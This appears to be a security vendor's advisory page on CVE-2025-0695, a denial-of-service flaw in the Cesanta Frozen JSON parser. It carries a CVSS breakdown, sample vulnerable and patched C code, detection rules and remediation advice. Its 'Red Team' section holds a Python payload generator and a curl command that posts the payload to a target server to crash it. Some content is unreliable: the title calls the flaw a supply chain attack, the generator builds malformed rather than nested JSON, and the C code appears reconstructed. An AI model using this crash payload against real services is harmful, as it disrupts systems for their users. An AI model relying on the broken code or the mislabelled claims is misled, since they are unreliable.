☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0695

CVE-2025-0695 Supply Chain Attack in Cesanta
📅 PUBLISHED: 2025-01-27 11:11 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0695 is a denial-of-service (DoS) vulnerability in Cesanta Frozen, a lightweight JSON parsing library for embedded systems. The flaw, classified as an Allocation of Resources Without Limits or Throttling (CWE-770), allows an attacker to crash any application embedding the library by providing a specially crafted JSON input. The vulnerability affects all versions prior to 1.7. With a CVSS score of 5.3 (Medium), the attack vector is network-based, requires no authentication, and has low complexity, making it trivially exploitable. No public exploit code or proof-of-concept is currently available, but the risk is elevated for IoT and embedded devices where Frozen is commonly used.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Cesanta Frozen is a C library distributed as source code, often integrated directly into firmware or embedded applications. There is no official package manager (e.g., NPM, PyPI) for this library, but it is commonly fetched from GitHub or included as a submodule. Organizations should verify their dependency chain for any use of Frozen < 1.7 and update immediately.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be triggered remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component remains isolated.
  • Confidentiality Impact: None (C:N) – No data exposure.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: Low (A:L) – The crash causes a denial of service, but recovery is typically possible via restart.

Threat Level: Medium. While the impact is limited to availability, the ease of exploitation and potential for widespread disruption in embedded systems (e.g., smart meters, industrial controllers) elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the JSON parsing logic of Cesanta Frozen. The library does not impose limits on resource allocation when processing nested structures or deeply recursive JSON objects. An attacker can craft a JSON payload with excessive nesting depth or an extremely large number of keys/values, causing the parser to allocate unbounded memory or stack space. This leads to a stack overflow or heap exhaustion, crashing the application.

The core issue is in the json_scanf() and related parsing functions, which recursively descend into JSON objects without depth checking. For example, a payload like {"a":{"a":{"a":...}}} repeated thousands of times can overflow the call stack.

Vulnerable vs. Patched Code

Vulnerable Code (Frozen < 1.7):

// No depth limit in recursive parsing
static int json_scanf_recursive(const char *json, ...) {
    // Recursively processes nested objects without bounds
    while (*json) {
        if (*json == '{') {
            json_scanf_recursive(json + 1, ...); // No depth check
        }
        // ...
    }
}

Patched Code (Frozen >= 1.7):

// Added depth limit to prevent stack overflow
#define MAX_JSON_DEPTH 100

static int json_scanf_recursive(const char *json, int depth, ...) {
    if (depth > MAX_JSON_DEPTH) {
        return -1; // Reject overly deep JSON
    }
    while (*json) {
        if (*json == '{') {
            json_scanf_recursive(json + 1, depth + 1, ...);
        }
        // ...
    }
}

The patch introduces a configurable depth limit (default 100) and returns an error if exceeded, preventing resource exhaustion.

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code exists. However, a proof-of-concept can be constructed:

# poc.py - Generate deeply nested JSON to trigger crash
import json

def generate_deep_json(depth=10000):
    payload = "{" + '"a":' * depth + '"x"' + "}" * depth
    return payload

if __name__ == "__main__":
    payload = generate_deep_json(5000)
    # Send to target via HTTP, MQTT, or other protocol
    print(payload)

Usage: Send the generated payload to any endpoint that parses JSON using Frozen < 1.7. For example, if the library is used in an HTTP server:

curl -X POST -d "$(python poc.py)" http://target:8080/api

Blue Team (Detection & Hardening)

  1. Network Monitoring: Detect unusually large or deeply nested JSON payloads in transit.
  2. Application Hardening: Upgrade to Frozen >= 1.7. If upgrade is not possible, implement a reverse proxy or WAF to reject JSON with excessive nesting (e.g., > 100 levels).
  3. Resource Limits: Use OS-level resource limits (e.g., ulimit on Linux) to cap stack size and memory for processes using Frozen.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • JSON payloads with nesting depth > 100 levels.
    • HTTP requests with Content-Type: application/json and unusually large body size (> 1 MB) with repetitive structure.
  • System IOCs:
    • Application crash logs showing stack overflow or out-of-memory errors.
    • Core dumps from processes using Frozen library.
  • File IOCs:
    • Log entries containing json_scanf or json_parse errors.

Detection Engineering

YARA Rule

rule CVE_2025_0695_DeepJSON {
    meta:
        description = "Detects deeply nested JSON payloads targeting Cesanta Frozen CVE-2025-0695"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0695"
    strings:
        $json_start = "{" ascii
        $json_end = "}" ascii
        $deep_pattern = /(\{.*?){100,}/  // 100+ nested braces
    condition:
        $json_start and $json_end and #deep_pattern > 0
}

Sigma Rule

title: Deeply Nested JSON Payload Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with deeply nested JSON bodies indicative of CVE-2025-0695 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.content_type: "application/json"
        http.body|contains: "{"  # Simplified; real rule would check nesting depth
    condition: selection
falsepositives:
    - Legitimate deeply nested JSON from complex APIs (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0695 - Deeply Nested JSON Payload"; flow:to_server; content:"Content-Type|3a| application/json"; http_header; pcre:"/(\{.*?){100,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade Cesanta Frozen to version 1.7 or later. This is the only complete fix.
  2. Compensating Controls:
    • Deploy a Web Application Firewall (WAF) with rules to reject JSON payloads exceeding a depth of 100.
    • Implement input validation in the application layer to reject malformed or excessively nested JSON before it reaches Frozen.
    • Use resource limits (e.g., setrlimit in C) to cap stack and memory usage for processes using the library.
  3. Monitoring: Enable logging for all JSON parsing errors and monitor for crash events.
  4. Vendor Communication: If using a product that bundles Frozen, contact the vendor for a patched version.

Valters IT – Securing the digital frontier, one CVE at a time.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0695/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.